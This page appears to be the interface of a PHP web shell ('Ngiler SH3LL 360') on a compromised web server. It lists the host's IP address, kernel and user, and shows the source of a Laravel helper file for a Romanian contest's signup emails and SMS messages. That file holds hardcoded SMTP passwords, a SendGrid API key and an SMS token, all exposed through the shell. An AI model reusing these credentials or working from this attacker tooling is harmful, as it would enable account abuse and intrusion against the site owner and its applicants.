Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
concurs.tbf.ro
/
app
/
Helpers
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
general.php
| Size :
9.40
KB
Copy
<?php use Illuminate\Support\Facades\Mail; use App\Mail\NewUserCreated; use App\Mail\NewPoints; use App\Mail\SignUpConfirmation; use App\Mail\FriendConfirmationReminder; use App\Mail\ReConfirmationReminder; use Twilio\Rest\Client; use App\Ticket; use App\Applicant; function addToActiveCampaign($point){ $applicant = $point->applicant; $data = [ 'email' => $applicant->email, 'first_name' => $applicant->name, 'phone' => $applicant->phone, 'p[31]' => 31, 'field[56]' => $applicant->tickets->count(), 'field[58]' => config('app.url') . '/' . $applicant->token, 'field[59]' => config('app.url') . '/punctaj/' . $applicant->token, 'field[60]' => Applicant::where([['referral', $applicant->id], ['confirmed', 1]])->count(), ]; //contact_sync $url = env('ACTIVE_CAMPAIGN_HOST') . "/admin/api.php?api_action=contact_sync&api_key=" . env('ACTIVE_CAMPAIGN_KEY') . "&api_output=json"; $cURLConnection = curl_init($url); curl_setopt($cURLConnection, CURLOPT_POSTFIELDS, $data); curl_setopt($cURLConnection, CURLOPT_RETURNTRANSFER, true); $apiResponse = curl_exec($cURLConnection); curl_close($cURLConnection); // $apiResponse - available data from the API request $jsonArrayResponse = json_decode($apiResponse); if($jsonArrayResponse->result_code == 1){ $point->update(['sync_with_active_campaign' => 1]); } } function newUserCreatedMail($applicant){ $subject = "Cod confirmare inscriere concurs"; $data = [ 'name' => $applicant->name, 'confirmation_code' => $applicant->confirmation_code, 'confirmation_link' => config('app.url').'/confirmation_link/' . $applicant->token, ]; if (strpos($applicant->email, 'yahoo') !== false) { // Backup your default mailer $backup = Mail::getSwiftMailer(); // Setup your gmail mailer $transport = new \Swift_SmtpTransport('smtp.eu.mailgun.org', 587); // $transport->encryption('ssl'); $transport->setUsername('postmaster@mg.tbf.ro'); $transport->setPassword('c7087d45222d2b81c896d709077b40dc-7fba8a4e-fa086a97'); // Any other mailer configuration stuff needed... $gmail = new \Swift_Mailer($transport); // Set the mailer as gmail Mail::setSwiftMailer($gmail); // Send your message try{ Mail::to($applicant->email)->queue(New NewUserCreated($subject, $data)); }catch(\Exception $e){ // dd($e); } // Restore your original mailer Mail::setSwiftMailer($backup); }else{ try{ Mail::to($applicant->email)->queue(New NewUserCreated($subject, $data)); }catch(\Exception $e){ // dd($e); } } } function newUserCreatedSms($applicant){ // $sid = env('TWILIO_ID'); // $token = env('TWILIO_TOKEN'); // $twilio = new Client($sid, $token); // try{ // $message = $twilio->messages->create( // str_replace(" ", "", $applicant->phone), // to // [ // "from" => env('TWILIO_NUMBER'), // "body" => "Cod confirmare inscriere concurs TBF: ".$applicant->confirmation_code // ] // ); // }catch(\Exception $e){ // // If you want to display the error: dd($e); // } } function newPointsMail($point, $reffered){ // this is referral $applicant = $point->applicant; $subject = "+100 sanse (de la ".$reffered->name.")"; $data = [ 'link_share' => config('app.url') . '/' . $applicant->token, 'link_points' => config('app.url') . '/punctaj/' . $applicant->token, 'points' => $point->value, 'referred_name' => $reffered->name, 'referred_email'=> $reffered->email, 'total_points' => $applicant->points->sum('value'), ]; if (strpos($applicant->email, 'yahoo') !== false) { // Backup your default mailer $backup = Mail::getSwiftMailer(); // Setup your gmail mailer $transport = new \Swift_SmtpTransport('smtp-relay.sendinblue.com', 587); // $transport->encryption('ssl'); $transport->setUsername('marius@tbf.ro'); $transport->setPassword('KIAXMOBvtp7FjTP1'); // Any other mailer configuration stuff needed... $gmail = new \Swift_Mailer($transport); // Set the mailer as gmail Mail::setSwiftMailer($gmail); // Send your message try{ Mail::to($applicant->email)->queue(New NewPoints($subject, $data)); }catch(\Exception $e){ // dd($e); } // Restore your original mailer Mail::setSwiftMailer($backup); }else{ try{ Mail::to($applicant->email)->queue(New NewPoints($subject, $data)); }catch(\Exception $e){ // } } // if($applicant->phone){ // $body = $reffered->name." s-a inscris la concurs prin link-ul tau. Ai castigat 100 de sanse in plus. Ai in total: ".$applicant->points->sum('value')." sanse. Trimite in continuare link-ul la prieteni pentru a-ti mari sansele de succes: ".config('app.url') . '/' . $applicant->token; // sendSms($body,$applicant->phone); // } } function reminderConfirmationEmail($applicant){ $subject = "Confirma inscrierea in concurs"; $data = [ 'name' => $applicant->name, 'confirmation_code' => $applicant->confirmation_code, 'confirmation_link' => config('app.url').'/confirmation_link/' . $applicant->token, ]; if (strpos($applicant->email, 'yahoo') !== false) { // Backup your default mailer $backup = Mail::getSwiftMailer(); // Setup your gmail mailer $transport = new \Swift_SmtpTransport('smtp.sendgrid.net', 587); // $transport->encryption('ssl'); $transport->setUsername('apikey'); $transport->setPassword('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'); // Any other mailer configuration stuff needed... $gmail = new \Swift_Mailer($transport); // Set the mailer as gmail Mail::setSwiftMailer($gmail); // Send your message try{ Mail::to($applicant->email)->queue(New ReConfirmationReminder($subject, $data)); $applicant->update(['mail_sent_applicant' => 1]); }catch(\Exception $e){ var_dump($e); } // Restore your original mailer Mail::setSwiftMailer($backup); }else{ try{ Mail::to($applicant->email)->queue(New ReConfirmationReminder($subject, $data)); $applicant->update(['mail_sent_applicant' => 1]); }catch(\Exception $e){ // } } } function generateTickets($point){ $lastNr = 1; $tickets = []; while ($lastNr <= $point->value) { $tickets[] = array('applicant_id' => $point->applicant_id); $lastNr += 1; } Ticket::insert($tickets); } function signUpConfirmationMail($applicant){ $subject = "Felicitari, te-ai inscris! Vrei 100 de sanse in plus?"; $data = [ 'name' => $applicant->name, 'email' => $applicant->email, 'points' => $applicant->points->sum('value'), 'share_link' => config('app.url') . '/' . $applicant->token, 'link_points' => config('app.url') . '/punctaj/' . $applicant->token, ]; if (strpos($applicant->email, 'yahoo') !== false) { // Backup your default mailer $backup = Mail::getSwiftMailer(); // Setup your gmail mailer $transport = new \Swift_SmtpTransport('smtp-relay.sendinblue.com', 587); // $transport->encryption('ssl'); $transport->setUsername('marius@tbf.ro'); $transport->setPassword('KIAXMOBvtp7FjTP1'); // Any other mailer configuration stuff needed... $gmail = new \Swift_Mailer($transport); // Set the mailer as gmail Mail::setSwiftMailer($gmail); // Send your message try{ Mail::to($applicant->email)->queue(New SignUpConfirmation($subject, $data)); }catch(\Exception $e){ // dd($e); } // Restore your original mailer Mail::setSwiftMailer($backup); }else{ try{ Mail::to($applicant->email)->queue(New SignUpConfirmation($subject, $data)); }catch(\Exception $e){ // } } } function friendConfirmationReminderMail($applicant){ $subject = "Esti pe cale sa pierzi 100 de puncte :("; $data = [ 'name' => $applicant->name, 'email' => $applicant->email, 'link_share' => config('app.url') . '/' . $applicant->referred->token, ]; try{ Mail::to($applicant->referred->email)->queue(New FriendConfirmationReminder($subject, $data)); $applicant->update(['mail_sent' => 1]); }catch(\Exception $e){ // } } function sendSms($body, $phone) { $data = [ 'message' => $body, 'phone' => str_replace(" ", "", $phone), 'token' => '075807580758' ]; $url = "https://www.madvideo.ro/create_sms_list"; $cURLConnection = curl_init($url); curl_setopt($cURLConnection, CURLOPT_POSTFIELDS, $data); curl_setopt($cURLConnection, CURLOPT_RETURNTRANSFER, true); $apiResponse = curl_exec($cURLConnection); curl_close($cURLConnection); // $apiResponse - available data from the API request $jsonArrayResponse = json_decode($apiResponse); }
Back